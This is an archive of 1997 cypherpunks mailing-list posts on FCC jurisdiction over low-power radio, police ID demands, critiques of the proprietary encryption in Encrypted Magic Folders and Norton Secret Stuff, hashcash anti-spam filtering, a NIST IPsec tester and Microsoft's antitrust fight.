>  transmissions.  My argument, in short, was that if a transmission couldn't=
>  reasonably be expected to be detectable (using common receiver technology)=
>  across state lines then the FCC shouldn't have jurisdition.

So, are you considering such a broadcast? What I envision is a
text-to-speech and/or a digital format.


    ____________________________________________________________________
   |                                                                    |
   |                                                                    |
   |      We built your fort. We will not have it used against us.      |
   |                                                                    |
   |                          John Wayne -  Allegheny Uprising          |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Brian B. Riley" <brianbr@together.net>
Date: Tue, 16 Dec 1997 12:55:35 +0800
To: <gbroiles@netbox.com>
Subject: Re: Identity, Persistence, Anonymity, and Accountability--Part  I of II
Message-ID: <199712160446.XAA29704@mx02.together.net>
MIME-Version: 1.0
Content-Type: text/plain



On 12/15/97 11:13 PM, Greg Broiles (gbroiles@netbox.com)  passed this 
wisdom:

>>>But note that there absolutely is no requirement in the United 
>>>States for ageneral form of identification. Non-drivers need not 
>>>have any form of I.D. And as we have seen in court cases, a la 
>>>Lawson v. Kolender (where a blackman in dreadlocks used to like to 
>>>walk the streets of San Diego...the copsstopped him many times and 
>>>jailed him for not having I.D. on him...the court ruled that people 
>>>don't have to present credentials issued by the state to walk the 
>>>public streets). 
>>
>>  In New Jersey there is a criminal offense called "failure to
>>properly identify" ... I don't know if its ever been tested, or if it
>>is still on the books, but as of ten years ago it was there. I think
>>it was a misdemeanor (in NJ the term is "petty disorderly persons
>>offense) I cannot imagine it as a felony.
>
>There's an important distinction between a requirement that you identify
>yourself accurately, and a requirement that you carry a particular form of
>identification. It is constitutional for the police to ask you what your
>name is, under certain circumstances - and you can face criminal charges if
>you lie. It is not, however, constitutional to require that you keep or
>carry identity cards or documents. (Modulo, of course, participation in
>activities like carrying a concealed weapon or driving. There are some
>people who believe that carrying special credentials should not be required
>when undertaking those activities, but very few or none of those people sit
>as judges, so their beliefs are comforting or pleasing but also
>insufficient to prevent conviction.) 

  I guess I am curious about being required to identify yourself ... if 
the cops have no probable cause to arrest you then what right do they 
have to know who you are? ... and should they have probable cause, why 
should you have to help them know who you are. I could see circumstances 
where forcing you to identify yourself would come under 
self-incrimination. I am sure they have ways of dealing with this ... 
what legal precedents are there concerning this?



Brian B. Riley --> http://members.macconnect.com/~brianbr
 For PGP Keys  <mailto:brianbr@together.net?subject=Get%20PGP%20Key>

  "One of the deep mysteries to me is our logo, the symbol of lust
   and knowledge, bitten into, all crossed with in the colors of the
   rainbow in the wrong order. You couldn't dream of a more 
   appropriate logo: lust, knowledge, hope, and anarchy."
   -- Gassee - Apple Logo






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Tue, 16 Dec 1997 13:37:38 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Identity, Persistence, Anonymity, and Accountability--Part  I of II (fwd)
Message-ID: <199712160552.XAA05318@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Subject: Re: Identity, Persistence, Anonymity, and Accountability--Part  I of II
> Date: Mon, 15 Dec 97 23:47:07 -0500
> From: "Brian B. Riley" <brianbr@together.net>

> >identification. It is constitutional for the police to ask you what your
> >name is, under certain circumstances - and you can face criminal charges if
> >you lie.

Where in the Constitution is the relevant sentence(s)? There is no mention
of police rights in the Constitution and therefor they have no more rights
than you do.


    ____________________________________________________________________
   |                                                                    |
   |                                                                    |
   |      We built your fort. We will not have it used against us.      |
   |                                                                    |
   |                          John Wayne -  Allegheny Uprising          |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Alex Woolfson" <abdiel@worldnet.att.net>
Date: Tue, 16 Dec 1997 16:09:47 +0800
To: <cypherpunks@toad.com>
Subject: A gauntlet thrown down by PC-Magic?
Message-ID: <000401bd09f8$f4615200$07a1400c@default>
MIME-Version: 1.0
Content-Type: text/plain



Hey guys

Just FYI here is the response I got from PC-Magic.

-----Original Message-----
From: Scott Chaney <scott@pc-magic.com>
To: Alex Woolfson <abdiel@worldnet.att.net>
Date: Monday, December 15, 1997 4:02 PM
Subject: Re: Encrypted Magic Folders


>Thanks for the feedback.  We are considering an established standard.
>
>BTW, for all the "crap" we get from supposed crypto experts no one has
>come close to breaking our method.  It does make for humorous reading
>tho.
>
>Scott
>
>

Anyone care to take him up on his challenge?  Please say yes.  :-)

Alex





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Secret Squirrel <nobody@secret.squirrel.owl.de>
Date: Tue, 16 Dec 1997 09:48:10 +0800
To: abdiel@worldnet.att.net
Subject: Security of Encrypted Magic Folders
Message-ID: <bb1f3667bf58c57a2cca976efd767f1c@squirrel>
MIME-Version: 1.0
Content-Type: text/plain



From: "Alex Woolfson" <abdiel@worldnet.att.net>
Subject: Security of Encrypted Magic Folders

>I just downloaded Encrypted Magic Folders--a program that hides Windows 95
>folders and then encrypts them to prevent a disk utility from revealing
>their content.  In their help file, they try to answer the question "How
>Secure is it?"--and, of course, they say *very*, but I can't tell if this is
>so or if they're just blowing smoke.  Particularly, their claim that key
>size doesn't matter.  (My mom taught me size always matters... )   If
>someone with a stronger cryptography background than me could take a look at
>this and let me know, I would greatly appreciate it.

>* How Secure is it?

>    EMF's encryption offers good protection and excellent speed.  It
>    hasn't been broken yet.  It is, as far as we know, exportable.  THERE
>    IS NO BACKDOOR.  Should you forget your password there is nothing we
>    can do to decrypt your encrypted files.

How do we know this?

>    Quite a few people ask us how big EMF's key size is.  They've learned
>    from other encryption programs that the bigger the key the stronger
>    the encryption.  This really doesn't apply to EMF.

How do we know this?

>    We developed our own encryption instead of using a standard because
>    we wanted EMF to be able to decrypt at the byte level.  In this way
>    we only need to decrypt/encrypt the data your programs require and
>    not the entire file.

How do we know this? 

>    In theory, because we decrypt at the byte level, the biggest key we
>    could use would be 8 bits - which is a joke.  So instead of
>    decrypting every hunk of data using the same key, as most other
>    encryption programs do, we developed an algorithm to vary the key
>    based on the data's location within the file.  In this way we get
>    both high security and high speed.  We are trying to patent EMF's
>    encryption method.

How do we know this? And why are they trying to patent a mathematical
algorithm? (The fact they can do it is irrelevent. Patenting a mathematical
algorithm, much like patenting something like XORing pixels on a screen, is
stupid.) And is the fact that they're trying to patent it supposed to make
us feel safer?

>    Having said all that, truth is, most encryption isn't "cracked" by
>    breaking the algorithm, it's done by guessing the password.  Brute
>    guessing of passwords tends to level the playing field tremendously.

Cool. But since we have to disassemble the program to figure out how your
program really handles keys...how do we know this?

>    We actually have an advantage because we aren't an established
>    standard.  Because we're small and relatively obscure chances are no
>    one will take the effort to write a password guessing program 

FUD and smokescreen. Security through obscurity.

>    (which
>    incidentally would violate copyright and intellectual property laws.)

FUD and smokescreen. The fact that creating a password program allegidly
violates intellectual property and copyright laws in some country isn't
going to keep somebody from writing one.

>    Even if someone were to go thru all this effort we could easily
>    change the encryption method for the next update.

I doubt it's much effort. For example it can take 3 weeks for a group of
programmers to write a copy protection algorithm for their new PC game and
about 8 hours for a cracker to break it.

Further, if they're patenting this algorithm it will be public.

FUD.

>    If we used an established encryption method like DES or Blowfish then
>    your files would probably have to be fully decrypted when opened,
>    would exist on disk as unencrypted while you're using them, and then
>    would need to be encrypted when closed.  This has multiple

FUD. Decrypt in relatively small pages and cache in memory. Since they've
apparently added an encryption/decryption layer between the filesystem and
the userspace libraries to begin with this shouldn't be too hard.

Well, then again, considering this is Windows which is probably the
worst attempt at an operating system this decade maybe it isn't.

>disadvantages.  First, if your computer shuts down while you have
>    "encrypted" files open, then those files would be unencrypted.  This

Not an issue if the operating system and/or encryption program are/is properly
designed. 

>    doesn't happen with EMF as your encrypted files are always encrypted
>    as stored on disk.  The second disadvantage is that it slows things
>    down tremendously.  As an example, let's say you retrieve your email
>    and your email program needs to add today's message to the end of
>    your 3MB email file.  If we used a standard encryption method
>    requiring the decryption of the file before use then the entire 3 MB
>    file would have to be decrypted, your 300 byte message added to the
>    end and then the entire file encrypted again.  With EMF, no
>    decryption would need to take place, and the only data needing
>    encryption would be the 300 byte message.  MUCH faster.  Around
>    20,000 times faster in this example!

Finally something which might actually be valid.

>    If you still think you'd like to see us use a standard encryption
>    method like DES or Blowfish, or have any other suggestions, let us
>    know and we will consider your input in future updates

Unless these people have released source this program should be avoided. The
algorithm is unknown, they aren't telling what it is or how it works, it
hasn't been submitted for review by cryptographers (at least this list hasn't 
heard about it), and they aren't releasing source so you can see what's going 
on. They're hyping security through obscurity as a valid security method,
while simultaneously applying for a patent on their security method and saying 
"Well, if it's cracked we'll just change to another algorithm whenever we
get around to releasing the next binary-only distribution. Hope nobody gets
your data in the meantime."

Further, it is designed for use on an operating system which is notorious
for insecurity, where everybody and everything is root (except under NT,
where you actually have to make some syscalls to get admin privlidges from
an unprivlidged account), where nobody releases source for anything, and
where there is no source available for the OS so you can modify it to fix
security holes or "features," much less add security enhancements of your own.

This entire thing reads like this: "We've developed our own proprietary
encryption method which nobody has ever heard of. We don't really know how
good it is, but you should believe us when we say it's really, really good.
In fact it's so good that we're patenting it just like RSA! Nobody will ever
be able to break it because our algorithm isn't in wide use and we aren't
releasing source! However if somebody actually does break it your data won't
be in the open for long because we'll use some other algorithm which is just
as good as the one we came up with originally and got a patent on. Hope you
didn't need security in that interim and we hope that when somebody breaks
this algorithm they'll tell us rather than taking advantage of all the (for
them) plaintext data laying around."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.org>
Date: Tue, 16 Dec 1997 10:01:09 +0800
To: cypherpunks <cypherpunks@cyberpass.net>
Subject: Redmond to Judge [Expletive Deleted]
Message-ID: <19971216.014920.attila@hun.org>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

http://www.wired.com/news/news/business/story/9178.html

    hot off the wire an hour ago! 

        Redmond to Judge - [Expletive Deleted]

    well, I would expect nothing less than "Fuck You"
    from Micro$lop --they consider themselves above the
    law. give Jackson credit for realizing the greater
    scope of the problem, and for appointing the special
    master.

    M$' attitude in and of itself is prima facie evidence
    of theit market intent --including tossing out the 
    option that OEMs will still be able to but the 
    _original_ version of W95 if they elect not to take IE4.

   damn white of them boys up there...


Analysis:  Redmond to Judge - [Expletive Deleted]
by Kaitlin Quistgaard and Dan Brekke

4:20pm 15.Dec.97.PST

It took two of Microsoft's biggest guns more than 60 minutes
to utter a reply to US District Court Judge Thomas Penfield
Jackson that most of us sum up in two hard syllables.  The
second of which is "you."

For daring to draw a line last week and forbidding the
company to cross for the time being, Jackson was treated to
a marathon rebuke from Brad Chase, Microsoft's vice
president of Internet marketing, and William Neukom, senior
vice president for law and corporate affairs.  

...

Chase made it clear that neither Jackson nor anyone else
would keep Microsoft from readying its planned spring
release of Windows 98 - in which Internet Explorer 4.0 and
the Windows desktop are inextricably bound.

...

Neukom did mention one other alternative that actually
merits the name, and one that government the company finds
itself at war with might actually recognize as viable:
Manufacturers could, he said, install a Netscape browser on
their Windows/IE machines.

>>> what a fuckin' joke. proves their intent to be a 
monopoly and fuck the public interest --it's my way, or
no way!



-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQBVAwUBNJXd/LR8UA6T6u61AQG9bQH/fkE3TKRYOmc+y9RZTsLJYjuISYDYqB47
+G0axtsdcumv7Q09bTYOf8b3K36+ik8/RFdngce6HWXDGrrlmtbd4g==
=UuqU
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@Algebra.COM (Igor Chudov @ home)
Date: Tue, 16 Dec 1997 16:26:48 +0800
To: mail2news@www.video-collage.com
Subject: Could you please PGP sign this MD5 sum?
Message-ID: <199712160820.CAA19094@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text



I would like to kindly ask you to sign this md5 sum with your PGP
keys, and return it to me signed. I would also appreciate a copy
of your PGP key.

Thank you very much.


``I testify that I did see this MD5 checksum around Dec 16, 1997.


	f3bffc327bf88846bc1d790c56da0ffb  caleidoscope.fixed.txt. ''

Signed,

	- 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Vin McLellan <vin@shore.net>
Date: Wed, 17 Dec 1997 00:44:57 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Comparing PGP to Symantec's Secret Stuff
Message-ID: <v03007800b0bc0c9a7689@[198.115.179.81]>
MIME-Version: 1.0
Content-Type: text/plain



(I just posted this in a discussion on alt.security.pgp, and thought it
might also be of interest to the List. _Vin)

   ALCO Jakarta <alcojkt@bit.net.id> queried the Newsgroup:

> Could anyone give me a quick trun-down on the difference between these two
> programs and which one is more secure? Is the latter more practical to use
> than PGP 2.6.2?

   That's comparing real crypto vs a sophisticated version of the Captain
Crunch crypto ring.

   PGP in all of its forms uses strong crypto, which is why it is
difficult to legally export it from the US to any overseas entity, except
branches and subsidiaries of US firms.  (Thus, the effort to sustain the
international version of PGP, and PhilZ's long travail while the US govt
tried to investigate how those sneaky non-Yanks got their hands on this
oh-so-useful RSA/IDEA utility.)

   Norton Secret Stuff secures the data using the 32-bit Blowfish
encryption algorithm -- which is why it's approved for unrestricted export
outside the US by the U.S. government.

   It's far better than, say, ROT13 -- but it would not provide meaningful
confidentiality or security for anything of any worth, or anything which
might otherwise spur a curious and clever grad student to spend somewhere
between a couple hours (with a college computer lab at his proposal) to a
few days (on a fast PC) doing a brute force search of all possible 32-bit
keys.

   A more complex comparison would put PGP against Norton's YEO, but that
too is an apples to oranges matchup, albiet with strong crypto on both
sides.  PGP was designed to be a mail encyptor. YEO -- with RSA + RC4,
RC5, DES, DES3, and Blowfish too, I think -- was designed as a file and
disk encryptor.  Each is optimized for its primary function.

   The lack of published source code is an issue, but if you see such a
product being purchased by multinationals or US defense contractors you
can be certain the implementation -- which is the real arena of
vulnerability, once the algorithm is chosen -- has been carefully studied
by informed cryptographers. (For non-American product, look for similar
purchases by government-connected agencies in the vendor's nation.)

   You don't sound like the source code is going to do _you_ any good,
right? Like most buyers, you have to trust the judgement of talented pros
somewhere.

>
> I use PGP and don't find it's use so difficult to master even as a rookie
> in cryptographic matters. But this Secret Stuff program is commerical so I
> don't trust it's degree of security to gov't snooping based on my suspicion
> of corporate submission to gov't will. Is that a reasonable assumption?


   Actually, corporate or commercial products are better than that.

   Secret Stuff is overtly weak crypto.  It's also free from Symantec.

   Norton YEO from Symantec, or any competitive heavy-duty product like
RSA SecurPC, will be clearly labelled as to the relative strength (key
length) of their crypto -- strong for domestic user; weak for the intl
mass market -- in terms anyone with a basic understanding of crypto and
crypto export regs can understand.  Export permits for the strong domestic
versions of products like these will be all but impossible to obtain for
mass market sales to non-American individuals. (Neither of these firms
probably sells or even tries to sell the export version overseas; the
weaker products exist largely because US corporate buyers demand an
interoperable product that _can_ be shipped to overseas associates.)

   Export permits to ship the strong-crypto version of these products
American corporations will require that the vendor have a key recovery
mechanism -- no big deal, since we are dealing with stored files, so
backup access is a standard requirement for disaster recovery -- which is
to be held by the US firm in a location which makes it accessible to legal
US court orders.

   Any and all US firms will respond to a legal court order to provide
information.  (Commercial firms in other nations will provide any info
they hold when confronted with a court order too, right?)

   It is always rash to expect any commercial firm in any nation to be
either a martyr or an arbiter of moral or political issues. Corporate
officers have fiduciary responsibilities and they can be replaced.
Corporations get a set of rules from the society in which they operate,
and then -- within the context of those rules -- they seek to maximize
their profit and their stockholders' return on investment with a certain
degree of ruthless intensity.

   That's the nature of the beast.

   When corporate self-interest and some corporate executive's personal
philosophy line up, we get some interesting fireworks -- sometimes even
heroic moments which dramatically change the course of a government's
industrial policy, as in the US banks vehement rejection of the NSA's CCEP
and Clipper programs.  The apparent exception really validates the rule.
It's really rare for the US govt to try to overtly challenge or crush an
American firm like they did with RSADSI for a decade. The NSA tried to
bully the US banking industry and got handed its collective head -- and
got branded as naive and turned into something of a laughingstock as well.

   On the other hand, commercial vendors which provide a product for sale
have to describe and warranty that product as having certain
properties.  If those products are used by individuals or commercial
customers and fail to measure up to their advance billing, the vendor is
thereafter liable for significant (even company-threatening) losses, in
both recompense and punitive damages.

   That's commercial law in the US -- no matter what sort of mealy-mouth
language might be in the shrink-wrap license. US lawyers get a blueprint
of an altar upon which they can sacrifice such firms when they get their
law degree.

   Corporate "submission to gov't will" is a real issue, particularly for
vendors of privacy and security tech -- but for US firms, it is far more
likely to play out formally (as with a court order for a message recovery
key) or in some negotiated backroom deal where the government demands some
feature added, or asks for some feature to be removed from free-market
product, before the vendor is given some commercial advantage like a
government contract, or GSA approval, or an export permit.

   You see the whole American IT industry being put through this sort of
blackmail in the current US crypto export policy.  Only vendors which have
or agree to design key/message "recovery" mechanisms in file or
communications crypto apps get export permits to ship their 56-bit
versions of their crypto products -- or (among other vendors,)
crypto-enhanced applications like RDBSs and operating systems -- to the
international market.

   Nothing subtle or secret about that -- and historically, the model has
probably been pretty much the same, if less blatent.

   US export controls in crypto exist to bludgeon the vendors, so that the
US govt can obtain something it wants in that company's domestic or
overseas product lines. (It certainly does not restrict the international
bad guy's access to strong crypto, no matter what the latest Four Horseman
propaganda is.)

   Today, I think this leverage is probably being applied more on the big
US vendors of operating systems and networking software and major
applications -- all of which require crypto for their commercial products
today -- than it is upon the puny crypto vendors (who are, relatively
speaking, small potatos and aren't allowed to sell strong versions of
their products -- even with message-recovery -- to anyone interesting,
anyway;-)

   In commercial encryption products, the hidden backdoors of myth and
legend are far less likely, given the liability issue and US commercial
law.

   Overt and well-labelled backdoors are a different story. <sigh>

   Surete,
            _Vin

"Cryptography is like literacy in the Dark Ages. Infinitely potent, for
good and ill... yet basically an intellectual construct, an idea, which by
its nature will resist efforts to restrict it to bureaucrats and others who
deem only themselves worthy of such Privilege."
_ A thinking man's Creed for Crypto/ vbm.

 *     Vin McLellan + The Privacy Guild + <vin@shore.net>    *
  53 Nichols St., Chelsea, MA 02150 USA <617> 884-5548






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Tue, 16 Dec 1997 22:26:25 +0800
To: abdiel@worldnet.att.net (Alex Woolfson)
Subject: Re: A gauntlet thrown down by PC-Magic?
In-Reply-To: <000401bd09f8$f4615200$07a1400c@default>
Message-ID: <199712161415.JAA29894@homeport.org>
MIME-Version: 1.0
Content-Type: text/plain





Alex Woolfson wrote:
| Just FYI here is the response I got from PC-Magic.
| -----Original Message-----
| From: Scott Chaney <scott@pc-magic.com>
| To: Alex Woolfson <abdiel@worldnet.att.net>
| Date: Monday, December 15, 1997 4:02 PM
| Subject: Re: Encrypted Magic Folders

| >Thanks for the feedback.  We are considering an established standard.
| >
| >BTW, for all the "crap" we get from supposed crypto experts no one has
| >come close to breaking our method.  It does make for humorous reading
| >tho.

| Anyone care to take him up on his challenge?  Please say yes.  :-)

	No.

	We need to educate the public that this is not an acceptable
answer, not provide free cryptanalysis to every company that comes
along.

	It took 3 years to break knapsack.  The week before it
happened, no one had come close.  That was not a good reason to be
using it.

Adam




-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Andy Dustman <andy@neptune.chem.uga.edu>
Date: Wed, 17 Dec 1997 01:49:16 +0800
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: hashcash spam prevention & firewalls
In-Reply-To: <199712130059.AAA06343@server.eternity.org>
Message-ID: <Pine.LNX.3.94.971216121132.6085v-100000@neptune.chem.uga.edu>
MIME-Version: 1.0
Content-Type: text/plain



CC: me as I'm not presently reading cypherpunks (this was bcc:ed to
coderpunks).

On Sat, 13 Dec 1997, Adam Back wrote:

> The required filter functionality is something like this in order of
> desirability:
> 
> Accept the SMTP session.  Use an EHLO extension HASHCASH to say that
> this server expects hashcash.  (Extended HELO is a method of
> specifying SMTP extensions (I think)).  Accept the headers, and if a
> valid hashcash postage is not included, hand off to the real
> mailserver a site configurable bounce message.

I'm not sure this is doable. From what I've seen of the sendmail anti-spam
stuff and the SMTP protocol, you can't just accept the headers and then
decide whether not not to accept the rest; you either have to be able to
(at present) a) reject the message before you receive it based on the FROM
data (known spammers, bogus hostnames, etc); b) reject the messages before
you receive it based on the RCPT data (anti-relaying: is the recipient at
our site?); c) reject the message after you receive it. Obviously with
spam, you'd like to be able to reject it before it takes up bandwidth. So,
an extended protocol could require a CASH command from the client before
DATA will be accepted. The client could generate the cash on the fly, or
it could be grepped out of the headers. 

If you don't want to dink around with patching sendmail or whatever for an
extended protocol, then simply use a system-wide procmailrc to enforce
hashcash; procmail can generate bounces very easily (or rather, trick the
MTA into generating the bounce for it). Or, make requiring hashcash a
user-selectable option by having a publicly-available script which a user
can have included into his .procmailrc by setting some variable.

> This still leaves open the question of the user generating their own
> hashcash postage.  Again this could be problematic for neophytes.  One
> solution is to include a URL for a web page including a javascript
> hashcash generator -- this means that no new software must be
> installed, the user cut and pastes the generated hashcash into their
> message.

Two potentially simpler solutions: a) the client MTA could generate
hashcash on the fly as needed (like it generates Message-IDs); b) a filter
could be installed in place of the user's normal MTA which generates
hashcash. The latter is probably better (easier to implement). For
example, if the normal MTA is sendmail, then a fake sendmail could be
installed which is just a nasty little script which parses out the
recipients, generates a suitable hashcash token for each one, and inserts
the appropriate headers, and then passes the message off to the real
sendmail.

My preferred means of spam-blocking right now is a barrage of tests for
typical spams using procmail, combined with a reverse spam block. An
ordinary spam block is an address munge where something is added to the
address to make it undeliverable, so ordinary users have to unmunge your
address before they can mail you, i.e. andy@neptune.chem.uga.nospam.edu. A 
reverse spam block lets you use your real address for posts but requires
users to add something to your address to guarantee delivery. As my sig
indicates, if you add +spamsucks to my username, various spam filtering
features are deactivated. If I wanted to, I could bounce anything which
didn't have the +spamsucks in it. The recipe I use also uses lists of
"trusted" users (ones I don't do any spam testing on, so they don't need
the password) and "spammers" (we don't spam test these either, we just
make them bounce). Also will reject messages where I am bcc:ed (unless
from someone trusted or the password was used) or on a huge visible list
(again as before).

It works pretty darn good. I hardly get any spam. Most of what I get
bounces back to the sender with "User unknown". If the sender has a forged
From, then this at least bounces there, or to the site's postmaster, who
will likely take some action (but not complain to me because I don't
exist). If the From was completely bogus, then I get the bounce, but that
doesn't happen too often. I use this same system for the return address of
the cracker remailer (anon@anon.efga.org) and it works pretty well, though
as of late I am munging the return address for all USENET posts a la
mail2news_nospam@anon.lcs.mit.edu (which has been hugely effective); 
you're not supposed to reply anyway...

I would like to modify the nymserver so that users can set a reverse spam
blocking password, but just haven't gotten around to it. I'm pretty sure
it can be done, though.

Andy Dustman / Computational Center for Molecular Structure and Design
For a great anti-spam procmail recipe, send me mail with subject "spam".
Append "+spamsucks" to my username to ensure delivery.  KeyID=0xC72F3F1D
Encryption is too important to leave to the government. -- Bruce Schneier
http://www.athens.net/~dustman mailto:andy@neptune.chem.uga.edu   <}+++<






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Wed, 17 Dec 1997 02:31:52 +0800
To: cypherpunks@cyberpass.net
Subject: NIST IPsec-WIT (Web-based Interoperability Tester) on-line
Message-ID: <v04002720b0bc733034e4@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


Date: Tue, 16 Dec 1997 07:48:46 -0500 (EST)
To: ipsec@tis.com
Cc: rob.glenn@nist.gov
From: rob.glenn@nist.gov
Subject: NIST IPsec-WIT (Web-based Interoperability Tester) on-line
MIME-Version: 1.0
Sender: owner-ipsec@ex.tis.com
Precedence: bulk


The NIST IPsec-WIT (Web-based Interoperability Tester) is on-line
and ready for use.

IPsec-WIT is an interoperability test system built around the NIST Cerberus
IPsec reference implementation and commonly available WWW technology.
IPsec-WIT allows its users to remotely control and execute series of
interoperability tests with the Cerberus prototype.  Test case selection,
configuration, execution and results analysis are all controlled remotely
by WWW browser.  IPsec-WIT is currently operational for IPv4 IPsec protocols
(with over 60 test cases) and will soon support IPv6 as well as key management
protocol testing.

For access to IPsec-wit and additional information see:
http://ipsec-wit.antd.nist.gov.  It is recommended that you read through
the tutorial before testing for the first time.  Comments and recommendations
can be sent to ipsec-wit-dev@mail.antd.nist.gov.

Best Regards,

Rob G.
rob.glenn@nist.gov

PS - Sorry if you have already seen this once.  I sent it out yesterday
afternoon and haven't seen it yet.

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/
Ask me about FC98 in Anguilla!: <http://www.fc98.ai/>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <nobody@REPLAY.COM>
Date: Tue, 16 Dec 1997 20:19:10 +0800
To: cypherpunks@cyberpass.net
Subject: The Joys of Being Canadian
Message-ID: <199712161205.NAA23776@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



>Phone Company Rep:  "What's your Social Security number?
>Answer:  "I don't have one.  I'm Canadian."
>
>Power Company Rep:  "What's your Social Security number?
>Answer:  "I don't have one.  I'm Canadian."
>
>Cable Company Rep:  "What's your Social Security number?
>Answer:  "I don't have one.  I'm Canadian."
>
>Doctor to Seasoned Citizen:  "I can't treat you privately or I'll be barred
>from taking Medicare patients for two years."
>Answer:  "Sure you can.  I'm Canadian."

Now the question is: When they find out you lied will they care?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: stewarts@ix.netcom.com
Date: Wed, 17 Dec 1997 05:22:47 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Radio Free Cypherpunks... (fwd)
In-Reply-To: <199712160540.XAA05167@einstein.ssz.com>
Message-ID: <3.0.3.32.19971216131730.00700e74@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



>> Date: Mon, 15 Dec 1997 15:49:40 -0800
>> From: Steve Schear <schear@lvdi.net>
>> Over a year ago I started a heated thread on the Telecom Regulation list,=
>>  "Basis of FCC jurisdiction," which posited that the Commerce Clause basis=
>>  for FCC authority might not hold for very low power and tens of GHz=
>>  transmissions.  My argument, in short, was that if a transmission
couldn't=
>>  reasonably be expected to be detectable (using common receiver
technology)=
>>  across state lines then the FCC shouldn't have jurisdition.

Back in the Depression, the FDR-bullied Supremes ruled that a farmer
feeding his own grain to his own hogs was affecting interstate commerce
(in violation of federal regs on grain production), because he would
otherwise have been buying grain that might have come from another state.
Similarly, the federal drug laws contend that there's federal jurisdiction
over all drugs, because it's not practical to determine whether a given
bunch of drugs was locally produced or transported across state lines,
and that there should therefore be a presumption that it was for
determination of jurisdiction (even marijuana plants still in the ground;
presumably if you were to ding them for that in court, they'd respond with
the concept that growing your own dope to smoke by yourself is supplanting
dope you might have otherwise bought from another state.  Or they'd decide
the local cops can confiscate your land instead.)

At 11:40 PM 12/15/1997 -0600, Jim Choate wrote:
>So, are you considering such a broadcast? What I envision is a
>text-to-speech and/or a digital format.

You can get FM transmitters for about $30 at Fry's.  Not very powerful,
and probably less than a mile range, but it may have hack value,
especially if there were lots of them.
				Thanks! 
					Bill
Bill Stewart, bill.stewart@pobox.com
PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Wed, 17 Dec 1997 02:28:29 +0800
To: cypherpunks@cyberpass.net
Subject: Clinton announces NEW GVT PROGRAMS to develop technology
Message-ID: <v03007818b0bc713dae1b@[168.161.105.216]>
MIME-Version: 1.0
Content-Type: text/plain



WASHINGTON (AP) - Honoring 14 American scientists' "passion for discovery,"
President Clinton today announced $96 million in new government-assisted
programs to develop chip-sized supercomputers, hand-held video phones and
radio-transmitting ID cards to locate lost children.
	"Who knows what will be known in only 25 years," Clinton marveled,
pointing to recent innovations on the Internet and human genome research.
"We must rise to master the forces of change and progress as we move
forward."
	The $96 million already provided by Congress for this budget year,
combined with industry funds, would leverage roughly $200 million for
research and development, Clinton said.
	"The discoveries of tomorrow will be made possible by the
scientists of today and by our continued commitment to their passionate
quest," Clinton said.
	The Defense Department and semiconductor industry are teaming up to
pay for long-term university projects meant to eventually allow U.S.
companies to manufacture fingernail-sized silicon chips containing billions
of transistors.
	A Commerce Department initiative offers, through competitions,
funds to small companies working on breakthroughs in areas such as portable
video communications, radio transmitters to keep track of children and
affordable DNA diagnostics.

[...]






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Wed, 17 Dec 1997 02:51:47 +0800
To: Alex Woolfson <abdiel@worldnet.att.net>
Subject: Re: A gauntlet thrown down by PC-Magic?
In-Reply-To: <000401bd09f8$f4615200$07a1400c@default>
Message-ID: <Pine.SUN.3.96.971216134523.22334A-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



